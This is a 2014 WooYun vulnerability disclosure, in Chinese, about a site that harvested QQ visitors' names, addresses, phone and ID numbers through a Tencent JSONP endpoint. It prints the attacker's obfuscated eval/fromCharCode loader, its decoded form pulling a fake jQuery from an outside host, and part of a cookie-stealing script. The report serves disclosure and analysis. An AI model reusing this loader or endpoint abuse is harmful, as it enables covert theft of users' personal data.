当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060377

漏洞标题：腾讯某json可获取访客QQ姓名地址电话身份证号等敏感信息

相关厂商：腾讯

漏洞作者： 路人甲

提交时间：2014-05-12 17:53

修复时间：2014-06-26 17:54

公开时间：2014-06-26 17:54

漏洞类型：用户资料大量泄漏

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-12： 细节已通知厂商并且等待厂商处理中
2014-05-14： 厂商已经确认，细节仅向厂商公开
2014-05-24： 细节向核心白帽子及相关领域专家公开
2014-06-03： 细节向普通白帽子公开
2014-06-13： 细节向实习白帽子公开
2014-06-26： 细节向公众公开

简要描述：

用户访问网站,能获取用户的QQ号码,然后进一步的获取用户姓名,地址,身份证号码,电话等信息.

详细说明：

网站地址:http://qq.ycddm.cn/qq/
该站引入了一个JS文件,是加载soso的缓存页面,该页面插入了一张图片,图片加了onload参数,会同时加载外部js,此JS文件会获取的用户在soso网站cookie中pt2qquin字段(即QQ号码)的值.
按说获取到这一步就可以了,但是此网站又利用了腾讯的一个json漏洞,继续插入了该页面:
http://cgi.connect.qq.com/qqconnectwebsite/get_dev_info?callback=x2&_=1389422507686
这个页面会返回以下信息:

x2({"retcode":0,"result":"{\"code\":0,\"msg\":\"succ\",\"result\":{\"uin\":QQ号码,\"type\":0,\"name\":\"\\姓名\",\"website\":\"http:\\/\\/网址\",\"mail\":\"邮箱帐号\",\"date\":1306675077,\"addr\":\"地址\",\"contact\":\"\",\"tel\":\"电话\",\"id_card\":\"身份证号码\",\"province_id\":\"-1\",\"city_id\":\"-1\",\"id_card_type\":\"1\",\"dev_check_state\":0,\"idcard_current_state\":\"0\",\"authfile_current_state\":0,\"waitcheck_name\":\"\名字\",\"waitcheck_id_card\":\"身份证号码\",\"waitcheck_mail\":\"邮箱地址\",\"waitcheck_dev_type\":\"0\",\"waitcheck_id_card_type\":null}}"});


接下来,在js里插入一个函数,就能把这些信息全部获取到并了.
希望能抓紧封掉!

漏洞证明：

详细说明中已经说的很完整了,主要问题就是http://cgi.connect.qq.com/qqconnectwebsite/get_dev_info?页面的json的漏洞.
获取到QQ 个人感觉没什么,但是其他的东西太过隐私了.
窃取信息的url:
http://qbview.html5.qq.com/getResourceInfo?url=http://www.qqfangke.com/jump/tdmsqj.html&doview=1&&wid=2337&uid=202350&page=http%253A%252F%252Fqq.ycddm.cn%252Fqq%252F&ref=
http://www.qqfangke.com/jump/tdmsqj.html的内容

<!doctype html>
<html lang="en">
 <head>
  <meta charset="UTF-8">
  <meta name="Generator" content="EditPlus®">
  <meta name="Author" content="">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
  <title>Document</title>
 </head>
 <body>
  <img src="http://www.qqfangke.com/img/tmdsqj.jpg" onload="/*wvXbbHSXTBEcpHyTwt*/var/*tKLisTFzPwe*/WVTm/*ncdCgvaIeWDqr*/=/*KxujnvTMrqnmY*/\u0053\u0074\u0072\u0069\u006e\u0067./*XGMDNJyB_H*/\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065;/*ohkBBmSqErtRCUg*/var/*ccWEpinFPHAgN*/gWIRUKM_/*vfSjuCYPPphtgbus*/=/*pLRTAcCAuSNFbB*/\u0065\u0076\u0061\u006c;gWIRUKM_(WVTm(118,97,114,32,72,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,46,105,116,101,109,40,48,41,59,118,97,114,32,83,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,83,46,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,59,83,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,113,113,102,97,110,103,107,101,46,99,111,109,47,106,115,47,115,107,105,110,47,106,113,117,101,114,121,45,49,46,49,48,46,50,46,109,105,110,46,106,115,34,59,72,46,97,112,112,101,110,100,67,104,105,108,100,40,83,41,59));">
 </body>
</html>


javascript解密后

var H=document.getElementsByTagName('HEAD').item(0);var S= document.createElement("script");S.type="text/javascript";S.src="http://www.qqfangke.com/js/skin/jquery-1.10.2.min.js";H.appendChild(S);


一个伪装的jquery

function g(n) { var a, r = new RegExp("(^| )"+n+"=([^;]*)(;|$)"); if (a = document.cookie.match(r)) return unescape(a[2]); else return "" } function Request(argname) { var url = document.location.href; var arrStr = url.substring(url.indexOf("?")+1).split("&"); for(var i =0;i


0C47143E-C699-454B-9DE4-4508CD10853D.png

修复方案：

建议及时清理此json漏洞.

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2014-05-14 11:39

厂商回复：

非常感谢您的报告，该问题其它白帽子已报告过，链接：http:///bugs/wooyun-2014-。故此处rank为1。仍然十分感谢您的报告，如有其它发现，欢迎及时给我们反馈。如果您有任何的疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

2014-05-14：编辑器BUG，链接地址为：http://www.wooyun.org/bugs/wooyun-2014-060265

漏洞评价：

评论

  1. 2014-05-12 18:03 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    坑死人啊

  2. 2014-05-12 18:08 | 氓氓童鞋 ( 普通白帽子 | Rank:374 漏洞数:65 )

    真正的路人甲啊，这种漏洞直接匿名了，怕查水表？

  3. 2014-05-12 18:16 | 落叶 ( 路人 | Rank:1 漏洞数:2 | xxxx)

    这个漏洞很严重啊

  4. 2014-05-12 19:27 | 破锁 ( 路人 | Rank:23 漏洞数:6 )

    访问网站就有一邮件，实在坑爹

  5. 2014-05-12 19:35 | xyang ( 普通白帽子 | Rank:242 漏洞数:51 | stay hungry stay foolish)

    额，光了

  6. 2014-05-12 20:18 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    你开玩笑呢？你来查我QQ姓名,地址,身份证号码,电话等44

  7. 2014-05-12 20:28 | 海绵宝宝 ( 普通白帽子 | Rank:243 漏洞数:50 | 唯有梦想与好姑娘不可辜负.)

    还能得到身份证号？？

  8. 2014-05-12 20:37 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    没有精华，@xsser 你怎么看？

  9. 2014-05-12 20:38 | Seven.Sea ( 实习白帽子 | Rank:76 漏洞数:24 | 唯有安全与美食不可辜负。)

    神奇的路人甲君。

  10. 2014-05-12 21:16 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    什么接口啊...

  11. 2014-05-12 21:18 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    mark

  12. 2014-05-12 21:30 | 孤零落叶寒 ( 普通白帽子 | Rank:162 漏洞数:26 | 今天的跌倒是是为了明天更好的站着)

    如果不加入认证或财付通认证，不能获取到吧

  13. 2014-05-12 21:51 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    呵呵呵。。。这种隐藏技能很多的。。

  14. 2014-05-13 08:47 | 天星 ( 路人 | Rank:6 漏洞数:1 | 本来无一物，何处惹尘埃)

    - - 不应该还可以查到电话、身份证吧

  15. 2014-05-13 09:58 | 死寂的小狼 ( 路人 | Rank:10 漏洞数:1 | 努力学习,天天向上)

    学习下,看是什么神奇的技术?

  16. 2014-05-13 11:28 | richard chen ( 路人 | Rank:10 漏洞数:1 | 无证程序猿，做WEB前端开发，也对后台略懂...)

    难道说是通过QQ号去搜索别人的电话和身份证？要不然也太邪了吧。

  17. 2014-06-26 20:16 | Seven.Sea ( 实习白帽子 | Rank:76 漏洞数:24 | 唯有安全与美食不可辜负。)

    为什么会有身份证号。。。

  18. 2014-06-28 17:31 | 阿之 ( 路人 | Rank:0 漏洞数:1 | 阿之)

    这类型的加密是哪个方式加的？　又是如何解密的呢？